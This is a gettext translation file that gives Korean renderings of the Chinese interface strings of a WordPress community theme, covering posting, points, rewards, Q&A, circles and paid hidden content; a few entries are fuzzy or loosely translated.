#: Pages/write.php:576
msgid "来源站点名称"
msgstr "소스 사이트 이름"

#: Pages/write.php:583
msgid "权限"
msgstr "권한"

#: Pages/write.php:589
msgid "如果您在文章中插入了隐藏内容，需要在此处设置查看权限，方可正常隐藏。"
msgstr ""
"기사에 숨겨진 내용이 삽입되어 있으면 여기에 보기 권한을 설정해야 정상적으로 "
"숨길 수 있습니다."

#: Pages/write.php:601
msgid "请输入需要支付的费用："
msgstr "지불해야 할 비용을 입력하십시오."

#: Pages/write.php:605
msgid "请输入需要支付的积分："
msgstr "지불해야 할 포인트를 입력하십시오."

#: Pages/write.php:610
msgid "普通等级："
msgstr "일반 등급"

#: Pages/write.php:619
msgid "会员等级："
msgstr "회원 등급"

#: Pages/write.php:634 functions.php:1895
msgid "标签"
msgstr "태그"

#: Pages/write.php:640
msgid "请输入标签，最多可以设置4个"
msgstr "태그를 입력하고 최대 4개까지 설정 가능 합니다."

#: Pages/write.php:646
msgid "请输入标签"
msgstr "태그 입력 하십시오."

#: Pages/write.php:658
msgid "请输入描述内容"
msgstr "간단한 설명을 입력 하십시오."

#: Pages/write.php:665
msgid "请尊重自己和别人的时间，不要发布垃圾和广告内容。"
msgstr "스팸 및 광고 내용을 게시하지 마십시오."

#: Pages/write.php:667
msgid "保存草稿到服务器"
msgstr "임시 저장"

#: Search/newsflashes.php:31 TempParts/Newsflashes/category.php:113
#: archive-newsflashes.php:112
msgid "作者:"
msgstr "글쓴이"

#: Search/newsflashes.php:35 TempParts/Newsflashes/category.php:117
#: TempParts/Newsflashes/category.php:157 TempParts/single-newsflashes.php:66
#: archive-newsflashes.php:116 archive-newsflashes.php:158
msgid "原文连接"
msgstr "원본 연결"

#: Search/newsflashes.php:50 TempParts/Newsflashes/category.php:132
#: TempParts/Newsflashes/category.php:177 archive-newsflashes.php:131
#: archive-newsflashes.php:178
msgid "分享到"
msgstr "공유하기"

#: Sidebars/sidebar.php:14
msgid "这里会显示您在本站的互动消息。"
msgstr "모든 메시지는 여기에서 확인 할수 있습니다."

#: Sidebars/sidebar.php:15
msgid "参与互动，结交朋友，这是一件很棒的事情。"
msgstr "글 쓰기,댓글,찜하기 등 많은 참여 바랍니다."

#: Sidebars/sidebar.php:18
msgid "过期消息清理时间"
msgstr "만료된 메시지 정리 시간"

#: Sidebars/sidebar.php:19
msgid "本站已经开启了过期消息清理机制"
msgstr "일정 기간이 지난 메시지는 자동 삭제 됩니다."

#: Sidebars/sidebar.php:20
msgid "超过30天的已读消息会自动清理。"
msgstr "30일 지난 읽은 메시지는 자동으로 삭제 됩니다."

#: Sidebars/sidebar.php:34 Sidebars/sidebar.php:58
msgid "尊重原创"
msgstr "원본 존중"

#: Sidebars/sidebar.php:35 Sidebars/sidebar.php:59
msgid "请不要发布任何盗版下载链接，包括软件、音乐、电影等等。我们尊重原创。"
msgstr ""
"소프트웨어, 음악, 영화 등 불법 복제 된 다운로드 링크를 게시하지 마십시오. 우"
"리는 독창성을 존중합니다."

#: Sidebars/sidebar.php:38 Sidebars/sidebar.php:62
msgid "友好互助"
msgstr "친절하고 상호 지원"

#: Sidebars/sidebar.php:39 Sidebars/sidebar.php:63
msgid ""
"您的文章将会有成千上万人阅读，保持对陌生人的友善，用知识去帮助别人也是一种快"
"乐。"
msgstr ""
"여러분의 기사는 수천 명의 사람들이 읽을 것이며, 낯선 사람들에게 친절하고 지식"
"을 사용하여 다른 사람들을 돕는 것도 즐거움입니다."

#: Sidebars/sidebar.php:42 Sidebars/sidebar.php:66 Sidebars/sidebar.php:88
msgid "处罚"
msgstr "벌칙"

#: Sidebars/sidebar.php:43 Sidebars/sidebar.php:67
msgid "禁止发布垃圾广告"
msgstr "스팸 광고 금지"

#: Sidebars/sidebar.php:44 Sidebars/sidebar.php:68
msgid "发现垃圾广告，本站会立刻封停您的账户"
msgstr "스팸 광고를 발견하면 당신의 계정을 즉시 차단 할것 입니다."

#: Sidebars/sidebar.php:82
msgid "规范"
msgstr "기본 규칙"

#: Sidebars/sidebar.php:83
msgid "您可以通过私信和网站的其他人进行秘密沟通。"
msgstr "개인 메시지를 통해 비밀 소통을 할수 있습니다."

#: Sidebars/sidebar.php:84
msgid "沟通的过程中，请保持礼貌。"
msgstr "소통하는 과정에서 예의를 지키십시오."

#: Sidebars/sidebar.php:85
msgid "禁止故意通过私信传播垃圾广告信息。"
msgstr "고의로 개인 메시지를 통해 쓰레기 광고 정보를 유포하는 것을 금지합니다."

#: Sidebars/sidebar.php:89
msgid ""
"私信启用了防垃圾机制，如果我们检测到您正在发送垃圾私信，将会封停您的账户"
msgstr ""
"개인 메시지는 스펨 방지 장치을 사용 합니다. 만약에 저희가 스펨 메시지를 보내"
"는 것을 발견하면 계정을 차단 할것 입니다."

#: Sidebars/sidebar.php:103 Sidebars/sidebar.php:146
msgid "如何获取积分？"
msgstr "포인트를 획득하려면 어떻게 해야 합니까?"

#: Sidebars/sidebar.php:104
msgid "您可以参与本站的互动获得积分奖励，比如评论，投稿，发帖，或者冒泡等"
msgstr ""
"당신은 본 사이트의 상호작용에 참여하여 포인트 보상을 획득할수 있습니다. 예를 "
"들어 댓글, 투고, 게시글 등이 있습니다."

#: Sidebars/sidebar.php:105
msgid "您可以在此处购买积分"
msgstr "포인트는 여기서 구입하실 수 있습니다"

#: Sidebars/sidebar.php:108
msgid "如何获得收益"
msgstr "수익을 얻는 방법"

#: Sidebars/sidebar.php:109
#, fuzzy, php-format
#| msgid ""
#| "您可以通过在本站发布收费内容、发布商品等方式获得收益，用户给您的打赏也将进"
#| "入到您的余额之中"
msgid ""
"您可以通过在本站发布收费内容、发布商品等方式获得收益，用户给您的打赏也将进入"
"到您的%s之中"
msgstr ""
"당신은 본 사이트에서 유료 콘텐츠를 게시하고 상품을 게시하는 등의 방법으로 수"
"익을 얻을 수 있으며, 사용자가 당신에게 주는 포상도 귀하의 잔고에 적립될 것입"
"니다."

#: Sidebars/sidebar.php:123
msgid "完成任务的奖励"
msgstr "임무 완수에 대한 보상"

#: Sidebars/sidebar.php:124
msgid "您在网站上的互动都将得到积分奖励，通过积分的增长，您的等级也会得到提升"
msgstr ""
"당신이 사이트에서의 상호작용은 모두 포인트 보상을 받을수 있고 포인트의 증가"
"를 통해 당신의 등급도 향상 될수 있습니다."

#: Sidebars/sidebar.php:127
msgid "奖励规则"
msgstr "보상 규칙"

#: Sidebars/sidebar.php:128
msgid ""
"并不是每次互动都会得到奖励，如果您今天的任务次数已经达成，将不会再获得积分奖"
"励，不过对您在网站上的互动没有任何影响"
msgstr ""
"상호 작용을 할 때마다 보상이 주어지는 것은 아닙니다. 오늘 작업 횟수를 달성하"
"면 더 이상 포인트가 부여되지 않습니다. 사이트에서의 상호 활동에는 아무런 영향"
"을 미치지 않습니다."

#: Sidebars/sidebar.php:142
msgid "排名规则"
msgstr "순위 규칙"

#: Sidebars/sidebar.php:143
#, fuzzy
#| msgid "根据现有积分数据排名，取前15名。"
msgid "根据现有积分数据排名，取前20名。"
msgstr "기존 포인트 데이터 순위에 따라 상위 15명를 가져옵니다."

#: Sidebars/sidebar.php:147
msgid "1、您可以参与本站的互动获得积分奖励，比如评论，投稿等"
msgstr ""
"1.이 사이트의 상호 작용에 참여하여 댓글, 글 쓰기 등과 같은 포인트 보상을 받을"
"수 있습니다."

#: Sidebars/sidebar.php:148
#, fuzzy, php-format
#| msgid "2、1元人民币兑换%s积分"
msgid "2、%s1兑换%s积分"
msgstr "2. 1위안= %s포인트"

#: Sidebars/sidebar.php:165
msgid "注意事项"
msgstr "주의 사항"

#: Sidebars/sidebar.php:166
msgid ""
"1、请详细描述您的问题，最好携带问题相关的截图与网址连接，方便我们进一步了解情"
"况。"
msgstr ""
"1. 당신의 문제를 자세히 설명 하십시오. 문제와 관련된 캡처,주소와 함께 제출하"
"시면 저희가 상황을 더 잘 이해할수 있습니다."

#: Sidebars/sidebar.php:167
msgid "2、只接受与本站相关的问题，其他问题不予回答。"
msgstr "2. 본 사이트와 관련된 질문만 제출하십시오."

#: Sidebars/sidebar.php:181 Sidebars/sidebar.php:200
msgid "为什么会被关进小黑屋？"
msgstr "작은 검은 집에 갇혀"

#: Sidebars/sidebar.php:182 Sidebars/sidebar.php:201
msgid "1、故意频繁请求网站接口；"
msgstr "1. 웹 사이트 인터페이스를 의도적으로 자주 요청합니다."

#: Sidebars/sidebar.php:183 Sidebars/sidebar.php:202
msgid "2、威胁网站安全；"
msgstr "2. 웹 사이트 보안 위협"

#: Sidebars/sidebar.php:184 Sidebars/sidebar.php:203
msgid "3、违反国家相关法律和道德要求；"
msgstr "3. 관련 국내법 및 도덕적 요건 위반;"

#: Sidebars/sidebar.php:185 Sidebars/sidebar.php:204
msgid "4、谩骂他人以及对他人进行言语攻击；"
msgstr "4. 타인에 대한 욕설 및 구두 공격;"

#: Sidebars/sidebar.php:186 Sidebars/sidebar.php:205
msgid "5、发布带有广告性质的内容；"
msgstr "5. 광고 성격이있는 콘텐츠를 게시합니다."

#: Sidebars/sidebar.php:219
#, fuzzy, php-format
msgid "如何创建%s？"
msgstr "서클 만들기"

#: Sidebars/sidebar.php:220
#, fuzzy, php-format
msgid "1、您有时间管理%s；"
msgstr "1. 서클을 관리 할 시간이 있습니다."

#: Sidebars/sidebar.php:221
#, fuzzy, php-format
msgid "2、对您创建的%s内容有一定的专业性；"
msgstr ""
"2. 당신이 만든 서클의 내용에 대해 어느 정도의 전문성을 가지고 있어야합니다."

#: Sidebars/sidebar.php:222
#, fuzzy, php-format
msgid "3、拥有本站创建%s的权限；"
msgstr "3.이 사이트에 서클을 만들 권한이 있습니다."

#: Sidebars/sidebar.php:239
msgid "如何成为合作伙伴"
msgstr "파트너가 되는 방법"

#: Sidebars/sidebar.php:241
msgid "注册用户均自动拥有推广权限。"
msgstr "등록 사용자는 모두 자동으로 프로모션 권한을 가집니다."

#: Sidebars/sidebar.php:242
msgid ""
"通过您的连接注册的用户也将自动成为您的合作伙伴，你的伙伴消费后您也可获得推广"
"佣金。"
msgstr ""
"귀하의 연결을 통해 등록된 사용자는 자동으로 귀하의 파트너가 되며, 귀하의 파트"
"너가 소비한 후에 귀하는 프로모션 커미션을 받을 수 있습니다."

#: Sidebars/sidebar.php:245
msgid "认证用户拥有推广权限"
msgstr "인증된 사용자는 프로모션 권한을 가집니다."

#: Sidebars/sidebar.php:246 User/index.php:47
msgid "前往认证"
msgstr "인증하기"

#: Sidebars/sidebar.php:252
msgid "未指定允许推广的用户组"
msgstr "그리기가 허용 된 사용자 그룹"

#: Sidebars/sidebar.php:256
msgid "限制以下用户拥有推广权限"
msgstr "다음과 같은 사용자가 프로모션 권한을 보유하도록 제한"

#: Sidebars/sidebar.php:268
msgid "请联系管理员获得推广权限"
msgstr "프로모션 권한을 얻으려면 관리자에게 문의 하십시오."

#: Sidebars/sidebar.php:272
msgid "如何获得收益？"
msgstr "어떻게 수익을 얻습니까?"

#: Sidebars/sidebar.php:273
#, fuzzy, php-format
#| msgid "您的伙伴消费后，您将获得相应比例的推广提成，进入到您的余额中"
msgid "您的伙伴消费后，您将获得相应比例的推广提成，进入到您的%s中"
msgstr ""
"당신의 파트너가 소비한 후에, 당신은 해당 프로모션 수수료를 받고 지갑에 적립 "
"됩니다."

#: Sidebars/sidebar.php:276
msgid "如何提现"
msgstr "어떻게 현금을 인출 합니까?"

#: Sidebars/sidebar.php:277
#, fuzzy, php-format
#| msgid ""
#| "财富中心有您的余额记录，详细记录了每笔收付账单，您可以在财富中心进行提现操"
#| "作"
msgid ""
"财富中心有您的%s记录，详细记录了每笔收付账单，您可以在财富中心进行提现操作"
msgstr ""
"지갑에는 잔액 기록, 각 영수증 및 지불 청구서의 상세 기록이 있으며 지갑에서 현"
"금 인출 작업을 수행 할 수 있습니다"

#: TempParts/Archive/content-collection.php:192
#, php-format
msgid "往期%s"
msgstr "지난호 %s"

#: TempParts/Archive/content-collection.php:201
#, fuzzy, php-format
#| msgid "一共%s%s%s篇文章"
msgid "一共%s篇文章"
msgstr "총 %s%s%s 글"

#: TempParts/Ask/answer-archive.php:36 single-ask.php:193
msgid "暂无讨论"
msgstr "현재 논의 중인 사항 없음"

#: TempParts/Ask/answer-archive.php:65 single-ask.php:222
msgid "蟹邀"
msgstr "크랩 초대"

#: TempParts/Ask/answer-archive.php:71
#, fuzzy
#| msgid "我的回答："
msgid "回答："
msgstr "답변 초대"

#: TempParts/Ask/answer-archive.php:74 single-ask.php:227
msgid "阅读全部"
msgstr "모두 읽기"

#: TempParts/Ask/answer-archive.php:77 TempParts/single-infomation.php:43
#: single-ask.php:230
#, php-format
msgid "发布于：%s"
msgstr "게시 위치: %s"

#: TempParts/Ask/answer-archive.php:90 single-ask.php:245
#, php-format
msgid "赞同 %s"
msgstr "동의 %s"

#: TempParts/Ask/answer-archive.php:93 single-ask.php:248
#, fuzzy
msgid "采纳为最佳答案"
msgstr "질문에 최고의 답변이 있습니다."

#: TempParts/Ask/answer-archive.php:94 single-ask.php:249
msgid "直达连接"
msgstr "직접 링크"

#: TempParts/Ask/answer-archive.php:95 single-ask.php:128 single-ask.php:250
#, fuzzy, php-format
msgid "收藏 %s"
msgstr "좋아하는 %s"

#: TempParts/Ask/answer-archive.php:96 single-ask.php:127 single-ask.php:251
#, php-format
msgid "阅读 %s"
msgstr "읽기 %s"

#: TempParts/Ask/archive.php:53
#, fuzzy
#| msgid "浏览："
msgid "浏览"
msgstr "조회 순"

#: TempParts/Ask/archive.php:103
#, php-format
msgid "%s后过期"
msgstr "0] 이후에 만료됩니다."

#: TempParts/Ask/archive.php:108
#, php-format
msgid "%s 收藏"
msgstr "%s 컬렉션"

#: TempParts/Ask/archive.php:121
#, fuzzy, php-format
msgid "%s邀请了%s回答此问题"
msgstr "%s 님이 서클의 질문에 답하도록 초대했습니다."

#: TempParts/Ask/archive.php:124
#, php-format
msgid " 最后回答来自 %s"
msgstr "%s 의 마지막 답글"

#: TempParts/Ask/comments.php:6 TempParts/circle/circle-comments.php:10
msgid "讨论"
msgstr "논의하다"

#: TempParts/Ask/comments.php:8 TempParts/circle/circle-comments.php:12
msgid "切换为时间排序"
msgstr "시간 정렬로 전환"

#: TempParts/Ask/comments.php:9 TempParts/circle/circle-comments.php:13
msgid "切换为默认顺序"
msgstr "기본 순서로 전환"

#: TempParts/Ask/comments.php:32 TempParts/circle/circle-comments.php:36
#, php-format
msgid "第 %s 层"
msgstr "레이어 %s"

#: TempParts/Ask/comments.php:114 TempParts/circle/circle-comments.php:118
#, php-format
msgid "阅读剩余%s条回复"
msgstr "나머지  %s 개의 답글 읽기"

#: TempParts/Ask/comments.php:123 TempParts/circle/circle-comments.php:127
msgid "没有更多讨论了"
msgstr "더 이상 토론하지 않음"

#: TempParts/Ask/comments.php:126 TempParts/circle/circle-comments.php:130
msgid "没有讨论，您有什么看法？"
msgstr "토론이 없습니다. 당신의 의견은 무엇입니까?"

#: TempParts/Newsflashes/category.php:39 archive-newsflashes.php:38
msgid "标题："
msgstr "제목:"

#: TempParts/Newsflashes/category.php:48 archive-newsflashes.php:47
msgid "来源网址："
msgstr "출처:"

#: TempParts/Newsflashes/category.php:54 archive-newsflashes.php:53
msgid "添加图片"
msgstr "사진 추가 허용 여부"

#: TempParts/Newsflashes/category.php:57 archive-newsflashes.php:56
msgid "发布完审核之后才会显示"
msgstr "게시 후에는 검토 상태가되며 검토 될 때까지 표시되지 않습니다."

#: TempParts/Newsflashes/category.php:64
msgid "立刻发布"
msgstr "지금 게시"

#: TempParts/Newsflashes/category.php:177 archive-newsflashes.php:178
msgid "分享到微博"
msgstr "Weibo에 공유"

#: TempParts/Newsflashes/category.php:177 archive-newsflashes.php:178
msgid "分享到QQ"
msgstr "QQ에 공유"

#: TempParts/Pages/normal.php:11
msgid "Pages:"
msgstr "페이지 :"

#: TempParts/Shop/item-exchange.php:28 TempParts/Shop/item-lottery.php:28
msgid "原价："
msgstr "원가: "

#: TempParts/Shop/item-exchange.php:46
msgid "已兑："
msgstr "교환: "

#: TempParts/Shop/item-lottery.php:46
msgid "抽中："
msgstr "추첨됨:"

#: TempParts/Shop/shop-buy.php:22
msgid "所有出售的商品"
msgstr "모든 판매된 상품"

#: TempParts/Shop/shop-exchange.php:22
msgid "所有兑换的商品"
msgstr "모든 교환된 상품"

#: TempParts/Shop/shop-lottery.php:22
msgid "所有抽奖商品"
msgstr "모든 추첨 상품"

#: TempParts/Shop/single-shop.php:10
msgid "购买结果"
msgstr "구매 결과"

#: TempParts/Shop/single-shop.php:32
msgid "商品简介"
msgstr "상품 소개"

#: TempParts/Single/content-post-style-2.php:58
#: TempParts/Single/content-post-style-3.php:34
#: TempParts/Single/content-post-style-4.php:52 TempParts/Single/content.php:32
msgid "来源："
msgstr "출처:"

#: TempParts/circle/circle-comment-and-answer.php:13 single-ask.php:272
msgid "请先登录！"
msgstr "먼저 로그인 하세요."

#: TempParts/circle/circle-comment-and-answer.php:17 single-ask.php:276
msgid "您的看法"
msgstr "당신의 의견"

#: TempParts/circle/circle-comment-and-answer.php:28 single-ask.php:287
msgid "图片审查中..."
msgstr "사진 리뷰 ..."

#: TempParts/circle/circle-comment-and-answer.php:50
msgid "登录之后回答问题，请先登录！"
msgstr "로그인 후 질문에 답하려면 먼저 로그인하세요!"

#: TempParts/circle/circle-comment-and-answer.php:54
msgid "编辑答案："
msgstr "답변 수정 :"

#: TempParts/circle/circle-comment-and-answer.php:55
msgid "我的回答："
msgstr "내 대답 :"

#: TempParts/circle/circle-comment-and-answer.php:56
msgid "最多上传一张图片和一个附件"
msgstr "최대 1 개의 사진과 1 개의 첨부 파일 업로드"

#: TempParts/circle/circle-comment-and-answer.php:58
msgid "请撰写您的答案"
msgstr "답을 써주세요"

#: TempParts/circle/circle-comment-and-answer.php:76
msgid "表情"
msgstr "표현"

#: TempParts/circle/circle-comment-and-answer.php:89
msgid "附件"
msgstr "신관"

#: TempParts/circle/circle-comment-and-answer.php:95
msgid "取消编辑"
msgstr "편집 취소"

#: TempParts/circle/circle-comment-and-answer.php:97
msgid "提交回答"
msgstr "답변 제출"

#: TempParts/circle/circle-comment-and-answer.php:98
msgid "文件上传中..."
msgstr "파일 업로드 중 ..."

#: TempParts/circle/circle-comments.php:3
msgid "该帖子评论已关闭"
msgstr "이 게시물에 대한 댓글이 닫혔습니다."

#: TempParts/circle/circle-form.php:26
msgid "快速进入"
msgstr "빠른 액세스"

#: TempParts/circle/circle-form.php:26
msgid "全部圈子"
msgstr "모든 서클"

#: TempParts/circle/circle-form.php:30
#, fuzzy
#| msgid "专属%s"
msgid "专属"
msgstr "독점 %s"

#: TempParts/circle/circle-form.php:31 TempParts/circle/circle-form.php:472
msgid "付费"
msgstr "유료"

#: TempParts/circle/circle-form.php:52
#: TempParts/circle/circle-topic-list.php:23 functions.php:2248
msgid "广场"
msgstr "광장"

#: TempParts/circle/circle-form.php:55
#, php-format
msgid "(%s)"
msgstr "%s 할인"

#: TempParts/circle/circle-form.php:59 TempParts/circle/circle-form.php:95
msgid "发布话题"
msgstr "주제 게시"

#: TempParts/circle/circle-form.php:84
msgid "管理"
msgstr "관리"

#: TempParts/circle/circle-form.php:102
msgid "您还未登录"
msgstr "로그인되지 않았습니다"

#: TempParts/circle/circle-form.php:104
msgid "登录后可阅读更多话题"
msgstr "로그인 후 더 많은 주제를 읽을 수 있습니다."

#: TempParts/circle/circle-form.php:112
msgid "您被关小黑屋了"
msgstr "당신은 검은 방에 갇혀 있습니다"

#: TempParts/circle/circle-form.php:115
msgid "被关小黑屋的用户无法发布话题，请汲取教训，出狱后再进行互动"
msgstr ""
"검은 집에 갇힌 사용자는 주제를 게시 할 수 없습니다. 감옥에서 나온 후 교훈을 "
"배우고 상호 작용하세요."

#: TempParts/circle/circle-form.php:120
#, fuzzy, php-format
msgid "您没有权限在%s中发布话题"
msgstr "서클에 주제를 게시 할 권한이 없습니다."

#: TempParts/circle/circle-form.php:123
msgid "您需要通过积分提升您的等级，或者成为我们的会员方可获得话题发布权限"
msgstr ""
"포인트를 통해 레벨을 업그레이드하거나 주제 게시 권한을 얻으려면 회원이되어야"
"합니다."

#: TempParts/circle/circle-form.php:126
#: TempParts/circle/circle-topic-content.php:86
msgid "积分升级"
msgstr "포인트 업그레이드"

#: TempParts/circle/circle-form.php:127
#: TempParts/circle/circle-topic-content.php:87
msgid "变更会员"
msgstr "회원 변경"

#: TempParts/circle/circle-form.php:132
#: TempParts/circle/circle-topic-list.php:209 TempParts/single-circle.php:58
#, fuzzy, php-format
msgid "您还未加入该%s"
msgstr "서클에 가입하지 않았습니다."

#: TempParts/circle/circle-form.php:136
#: TempParts/circle/circle-topic-list.php:213 TempParts/single-circle.php:62
#, fuzzy, php-format
msgid "提交申请，管理员审核之后方可加入%s"
msgstr "신청서 제출, 관리자는 검토 후 서클에만 입장 할 수 있습니다."

#: TempParts/circle/circle-form.php:137
#, fuzzy, php-format
msgid "加入%s，可阅读更多%s内话题"
msgstr ""
"무료로 서클에 가입하세요. 서클에 가입 한 후 서클에서 더 많은 주제를 읽을 수 "
"있습니다."

#: TempParts/circle/circle-form.php:141
#: TempParts/circle/circle-topic-list.php:218 TempParts/single-circle.php:67
#, php-format
msgid "提交加入%s申请"
msgstr "%s 가입 신청서 제출"

#: TempParts/circle/circle-form.php:142
#: TempParts/circle/circle-topic-list.php:219 TempParts/single-circle.php:68
msgid "您已成功提交申请，等待审核中..."
msgstr "신청서를 성공적으로 제출했습니다. 검토 대기 중입니다 ..."

#: TempParts/circle/circle-form.php:146
#: TempParts/circle/circle-topic-list.php:223 TempParts/single-circle.php:72
#, fuzzy, php-format
msgid "专属%s，您需要成为以下会员组的成员，方可加入%s"
msgstr "독점 서클, 서클에 가입하려면 다음 회원 그룹의 회원이어야합니다."

#: TempParts/circle/circle-form.php:153
#: TempParts/circle/circle-topic-list.php:230 TempParts/single-circle.php:79
msgid "无权加入"
msgstr "가입 할 권리가 없습니다."

#: TempParts/circle/circle-form.php:162
#: TempParts/circle/circle-topic-list.php:239 TempParts/single-circle.php:88
#, fuzzy, php-format
msgid "支付加入%s"
msgstr "서클에 가입하려면 비용을 지불하세요."

#: TempParts/circle/circle-form.php:170
msgid "您有过多待审话题"
msgstr "검토 할 주제가 너무 많습니다."

#: TempParts/circle/circle-form.php:173
#, fuzzy, php-format
msgid "您有%s个待审话题未审核，请稍后再发表话题"
msgstr ""
"검토 할 주제가 아직 검토되지 않았습니다. 나중에 새 주제를 게시하십시오."

#: TempParts/circle/circle-form.php:183
msgid "在"
msgstr "댓글이 검토 중입니다."

#: TempParts/circle/circle-form.php:190
#: TempParts/circle/circle-topic-content.php:144
msgid "提问："
msgstr "질문:"

#: TempParts/circle/circle-form.php:191
msgid "投票："
msgstr "투표:"

#: TempParts/circle/circle-form.php:192
msgid "你猜："
msgstr "당신은 추측:"

#: TempParts/circle/circle-form.php:193
msgid "说："
msgstr "설명"

#: TempParts/circle/circle-form.php:212
msgid "标题（必填）"
msgstr "제목 (필수)"

#: TempParts/circle/circle-form.php:212
msgid "标题（选填）"
msgstr "제목 (선택 사항)"

#: TempParts/circle/circle-form.php:235
#, fuzzy, php-format
msgid "可以选择您加入或创建的%s"
msgstr "사각형, 가입 한 원 또는 만든 원을 선택할 수 있습니다."

#: TempParts/circle/circle-form.php:257
msgid "指定"
msgstr "지정"

#: TempParts/circle/circle-form.php:258 functions.php:2150 functions.php:2275
msgid "所有人"
msgstr "여러분"

#: TempParts/circle/circle-form.php:289
msgid "请输入您要添加的用户昵称"
msgstr "추가하려는 사용자의 별명을 입력하십시오"

#: TempParts/circle/circle-form.php:294
msgid "@所有人提问"
msgstr "@ 모든 사람이 묻는다"

#: TempParts/circle/circle-form.php:296
msgid "您可以指定向某些人或者所有人提问"
msgstr "일부 사람 또는 모든 사람에게 질문하도록 지정할 수 있습니다."

#: TempParts/circle/circle-form.php:300
#, fuzzy, php-format
msgid "奖励%s"
msgstr "보상 %s"

#: TempParts/circle/circle-form.php:305
#, php-format
msgid "问题提交之后会立刻扣除相应的%s。"
msgstr "해당  %s는 질문이 제출 된 후 즉시 공제됩니다."

#: TempParts/circle/circle-form.php:307
#, php-format
msgid "您的当前%s为："
msgstr "현재  %s :"

#: TempParts/circle/circle-form.php:314
msgid "提问过期天数"
msgstr "질문 만료일"

#: TempParts/circle/circle-form.php:320
#, php-format
msgid ""
"请直接填写数字，并且大于1小于30。%s如果没有回答被采纳，提问过期后会自动关闭，"
"然后对奖励进行结算。"
msgstr ""
"숫자를 직접 입력하고 1보다 큰 경우 30 미만입니다.  %s 님이 응답하지 않고 수락"
"되면 질문이 만료 된 후 자동으로 종료되고 보상이 정산됩니다."

#: TempParts/circle/circle-form.php:340
msgid "可以设置多个项目，用户只能选择其中一个项目进行投票"
msgstr ""
"여러 항목을 설정할 수 있으며 사용자는 그중 하나만 선택하여 투표 할 수 있습니"
"다."

#: TempParts/circle/circle-form.php:341
msgid "可以设置多个项目，用户可以选择多个项目进行投票"
msgstr ""
"여러 항목을 설정할 수 있으며 사용자는 여러 항목을 선택하여 투표 할 수 있습니"
"다."

#: TempParts/circle/circle-form.php:342
msgid "只能设置两个项目，用户只能选择其中之一"
msgstr "두 항목 만 설정할 수 있으며 사용자는 그중 하나만 선택할 수 있습니다."

#: TempParts/circle/circle-form.php:357
#, php-format
msgid "请选择一个正确答案。当前正确答案是：%s"
msgstr "정답을 선택하세요. 현재 정답은 %s입니다."

#: TempParts/circle/circle-form.php:361
#, php-format
msgid "最多上传%s张图片，可拖动排序"
msgstr "최대  %s 장의 사진을 업로드하여 정렬 할 수 있습니다."

#: TempParts/circle/circle-form.php:367 TempParts/circle/circle-form.php:382
#: TempParts/circle/circle-form.php:401
msgid "校验中.."
msgstr "확인 중..."

#: TempParts/circle/circle-form.php:368 TempParts/circle/circle-form.php:383
#: TempParts/circle/circle-form.php:402
msgid "请删除"
msgstr "삭제 해주세요"

#: TempParts/circle/circle-form.php:368 TempParts/circle/circle-form.php:383
#: TempParts/circle/circle-form.php:402
msgid "上传错误"
msgstr "업로드 오류"

#: TempParts/circle/circle-form.php:376
#, php-format
msgid "最多上传%s个视频，可拖动排序"
msgstr "최대  %s 개의 동영상을 업로드하세요. 드래그하여 정렬 할 수 있습니다."

#: TempParts/circle/circle-form.php:391
#, php-format
msgid "最多上传%s个文件，可拖动排序"
msgstr "최대  %s 개의 파일을 업로드하여 정렬 할 수 있습니다."

#: TempParts/circle/circle-form.php:410
#, php-format
msgid "最多添加%s个卡片，可拖动排序"
msgstr "최대  %s 장의 사진을 업로드하여 정렬 할 수 있습니다."

#: TempParts/circle/circle-form.php:460
msgid "公开"
msgstr "공공의"

#: TempParts/circle/circle-form.php:480
msgid "等级"
msgstr "등급"

#: TempParts/circle/circle-form.php:499 functions.php:2175
msgid "立刻提交"
msgstr "지금 제출"

#: TempParts/circle/circle-form.php:505
msgid "请输入本站的网址，将自动生成网址卡片"
msgstr "이 사이트의 URL을 입력하십시오. URL 카드가 자동으로 생성됩니다."

#: TempParts/circle/circle-form.php:508
#, fuzzy, php-format
msgid "支持文章、%s、商品、%s、页面等网址"
msgstr "기사, 서클, 제품, 뉴스 레터, 페이지 등의 URL을 지원합니다."

#: TempParts/circle/circle-form.php:519
#, php-format
msgid "本%s专属"
msgstr "이 %s 전용"

#: TempParts/circle/circle-form.php:524
msgid "无限制，任意查看话题内容"
msgstr "무제한, 마음대로 주제 콘텐츠보기"

#: TempParts/circle/circle-form.php:524 TempParts/circle/circle-form.php:528
#: TempParts/circle/circle-form.php:532 TempParts/circle/circle-form.php:538
#: TempParts/circle/circle-form.php:541
#, fuzzy, php-format
msgid "（不在广场显示，加入%s后方可查看）"
msgstr "(사각형에 표시되지 않으며 원을 입력 한 후 볼 수 있습니다.)"

#: TempParts/circle/circle-form.php:527
msgid "金额（纯数字）"
msgstr "금액(순수)"

#: TempParts/circle/circle-form.php:528
msgid "用户支付费用之后方可查看话题内容"
msgstr "사용자는 수수료를 지불 한 후 주제 콘텐츠를 볼 수 있습니다."

#: TempParts/circle/circle-form.php:531
msgid "积分（纯数字）"
msgstr "포인트(순수)"

#: TempParts/circle/circle-form.php:532
msgid "用户支付积分后方可查看话题内容"
msgstr "사용자는 포인트 지불 후 주제 콘텐츠를 볼 수 있습니다."

#: TempParts/circle/circle-form.php:538
msgid "请选择允许查看本话题的等级组"
msgstr "이 주제를 볼 수있는 레벨 그룹을 선택하십시오."

#: TempParts/circle/circle-form.php:541
msgid "用户评论此话题之后方可查看话题内容"
msgstr "사용자는이 주제에 대해 댓글을 단 후 주제 컨텐츠를 볼 수 있습니다."

#: TempParts/circle/circle-form.php:544
msgid "用户登录之后方可查看话题内容"
msgstr "사용자는 로그인 후 주제 내용을 볼 수 있습니다."

#: TempParts/circle/circle-form.php:544
#, fuzzy, php-format
msgid "（不在广场显示，%s后方可查看）"
msgstr "(사각형에 표시되지 않으며 원을 입력 한 후 볼 수 있습니다.)"

#: TempParts/circle/circle-topic-content.php:21 comments.php:29
msgid "管理员"
msgstr "관리자"

#: TempParts/circle/circle-topic-content.php:58
msgid "隐藏内容，支付积分阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: TempParts/circle/circle-topic-content.php:61
#: TempParts/circle/circle-topic-content.php:71
#, php-format
msgid "已有%s人购买此隐藏内容"
msgstr "%s 명의 사용자가 이미이 숨겨진 콘텐츠를 구매했습니다."

#: TempParts/circle/circle-topic-content.php:68
msgid "隐藏内容，支付费用阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: TempParts/circle/circle-topic-content.php:97
msgid "登录之后方可阅读隐藏内容"
msgstr "로그인 후 숨겨진 콘텐츠를 읽을 수 있습니다."

#: TempParts/circle/circle-topic-content.php:111
